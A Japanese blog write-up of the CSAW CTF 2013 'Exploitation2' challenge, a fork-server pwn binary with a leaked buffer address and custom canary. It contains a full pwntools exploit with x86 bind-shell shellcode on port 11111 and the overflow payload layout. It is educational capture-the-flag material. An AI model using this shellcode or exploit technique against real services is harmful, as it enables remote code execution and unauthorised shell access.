1日ひとつだけ強くなる

おべんきょうのーと

CSAW CTF Qualification Round 2013: Exploitation2

はじめに

fork-server型の問題。とりあえず脆弱性は見つけたんだけど、fork-server型問題が初めてだったのと、直接シェルを繋げないので詰まっていて、他のwriteupを見てしまった。精進したい。

fork-server型

shimasyaro.hatenablog.com

この説明がわかりやすかったと思う。

この問題はいわゆるfork-server型と言われるようなpwnだった。fork-server型とは、socket→bind→listen→accept→forkの順番で行われるserverのことである。 これは、xinetd型と言われるserverとは違い、標準入出力とは繋がっていないのである。socketディスクリプタを使用して入出力が行われるため、>system(/bin/sh)だけを起動しても全く意味がないのである。標準入出力にも自分が送っている内容を影響させるにはdup2などを使って自分が使っている>socketディスクリプタを繋げてあげる必要がある。

なるほど〜〜〜と、プログラムの入出力について一つ勉強になった。

事前調査

$ file ./exploit2 
./exploit2: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=94f196c7d8ce45ecf9943690ed4e193c9d13b906, not stripped

$ checksec ./exploit2
[*] '/home/ubuntu/writeup/bata/baby/Exploitation2/exploit2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE

よさそう。

実行してみる

$ nc localhost 31338

WÐÿ©GWelcome to CSAW CTF.  Exploitation 2 will be a little harder this year.  Insert your exploit here:

接続してみると、最初の数バイト分謎の文字列が出力されているみたいなので、hexdumpとかで調べてみる。

$ nc localhost 31338 | hexdump -C
00000000  0c 57 d0 ff 61 0a a5 4b  57 65 6c 63 6f 6d 65 20  |.W..a..KWelcome |
00000010  74 6f 20 43 53 41 57 20  43 54 46 2e 20 20 45 78  |to CSAW CTF.  Ex|
00000020  70 6c 6f 69 74 61 74 69  6f 6e 20 32 20 77 69 6c  |ploitation 2 wil|
00000030  6c 20 62 65 20 61 20 6c  69 74 74 6c 65 20 68 61  |l be a little ha|
00000040  72 64 65 72 20 74 68 69  73 20 79 65 61 72 2e 20  |rder this year. |
00000050  20 49 6e 73 65 72 74 20  79 6f 75 72 20 65 78 70  | Insert your exp|

見てみると、0xffd0570c0x4ba50a61っていう一見アドレスっぽい値が出力されてる。

これをidaで見てみると、自前でcanary実装してるっぽい。僕の環境だとsecretみたいな値をローカル変数に格納して、それを後から元の値と照らし合わせてた。

handleって関数の中身を見ると、最初にバッファのアドレス、そのあとcanary値をsendしていたので、この二つの値はそれぞれスタック上のバッファアドレスとcanary値であることがわかる。

bufferのサイズは0x800なので、<shellcode><padding><canary><padding><buffer_address>ってしてあげればよさそう。

….と思ったら、shellが取れなくて死んでた。

exploit

最終的に書いたのは以下の通り。

from pwn import *

r = remote('127.0.0.1', 31338)

recv = r.recvuntil('here:')

buf = u32(recv[0:4]) # leaked buffer address
sec = u32(recv[4:8]) # leaked secret address
print "buf: {}".format(hex(buf))
print "sec: {}".format(hex(sec))


shellcode = ''.join(["\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a",
                     "\x02\x89\xe1\xcd\x80\x5b\x5e\x52\x66\x68",
                     "\x2b\x67\x6a\x10\x51\x50\xb0\x66\x89\xe1",
                     "\xcd\x80\x89\x51\x04\xb0\x66\xb3\x04\xcd",
                     "\x80\xb0\x66\x43\xcd\x80\x59\x93\x6a\x3f",
                     "\x58\xcd\x80\x49\x79\xf8\xb0\x0b\x68\x2f",
                     "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3",
                     "\x41\xcd\x80",])


buf_len = 0x800 - len(shellcode)

payload = shellcode + '\x90'*buf_len + p32(sec) + '\x90'*0xc + p32(buf)

r.sendline(payload)

# r.interactive()


p = remote('127.0.0.1', 11111)
p.interactive()

ちなみに、シェルコードはshellstormからportを11111番で待ち受けていて、つなぐとshellが開かれているのでそのままncとかで繋げてあげれば良い。

感想

fork-server型の問題は初めて解いたので、いい勉強になった。